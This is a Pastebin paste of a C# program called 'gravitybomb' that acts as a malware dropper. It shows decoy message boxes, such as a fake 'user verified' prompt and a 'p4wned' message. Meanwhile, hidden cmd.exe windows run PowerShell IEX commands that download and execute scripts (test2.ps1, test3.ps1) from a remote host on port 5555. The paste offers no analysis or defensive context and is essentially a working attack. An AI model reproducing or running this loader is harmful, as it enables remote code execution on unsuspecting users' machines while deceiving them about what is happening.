Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- using System.Text;
- using System.Runtime.InteropServices;
- namespace gravitybomb
- {
- class Program
- {
- public static void ping1234()
- {
- System.Diagnostics.Process p3 = new System.Diagnostics.Process();
- System.Diagnostics.ProcessStartInfo s3 = new System.Diagnostics.ProcessStartInfo();
- s3.WindowStyle = System.Diagnostics.ProcessWindowStyle.Hidden;
- s3.FileName = "cmd.exe";
- s3.Arguments = "/C powershell -c IEX([Net.Webclient]::new().DownloadString('http:/[]:5555/test2.ps1'))";
- p3.StartInfo = s3;
- p3.Start();
- }
- public static void runf1()
- {
- System.Diagnostics.Process p4 = new System.Diagnostics.Process();
- System.Diagnostics.ProcessStartInfo s4 = new System.Diagnostics.ProcessStartInfo();
- s4.WindowStyle = System.Diagnostics.ProcessWindowStyle.Hidden;
- s4.FileName = "cmd.exe";
- s4.Arguments = "/C powershell -c IEX([Net.Webclient]::new().DownloadString('http://[]:5555/test3.ps1'))";
- p4.StartInfo = s4;
- p4.Start();
- }
- [DllImport("User32.dll")]
- public static extern int MessageBoxW(
- IntPtr hWnd,
- [param: MarshalAs(UnmanagedType.LPWStr)] string lpText,
- [param: MarshalAs(UnmanagedType.LPWStr)] string lpCaption,
- UInt32 uType
- );
- [DllImport("Advapi32.dll")]
- public static extern bool GetUserNameW(
- [param: MarshalAs(UnmanagedType.LPWStr)] StringBuilder lpBuffer,
- ref UInt32 pcbBuffer
- );
- public static void username()
- {
- StringBuilder mySB = new StringBuilder(100);
- UInt32 sZ = 20;
- bool res = GetUserNameW(mySB, ref sZ);
- string user = mySB.ToString();
- Console.WriteLine("data gen ");
- MessageBoxW(IntPtr.Zero, "user " + user + " verified", "Username Box", 0);
- }
- public delegate void sample();
- static void Main(string[] args)
- {
- byte[] buf = new byte[220];
- UInt32 MEM_COMMIT = 0x00001000;
- UInt32 PAGE_EXECUTE_READWRITE = 0x40;
- UInt32 MEM_DECOMMIT = 0x00004000;
- sample s = Program.username;
- s();
- Thread t1 = new Thread(new ThreadStart(ping1234));
- Thread t2 = new Thread(new ThreadStart(runf1));
- Console.WriteLine("please close this window");
- int userclick = 0;
- while (userclick == 0)
- {
- t1.Start();
- int test = MessageBoxW(IntPtr.Zero, "Click Yes to close", "Finish", 4);
- if (test == 6)
- {
- t2.Start();
- MessageBoxW(IntPtr.Zero, "p4wned", "1337", 0);
- userclick = 2;
- }
- else { MessageBoxW(IntPtr.Zero, "please click yes", "hi", 0); }
- }
- }
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment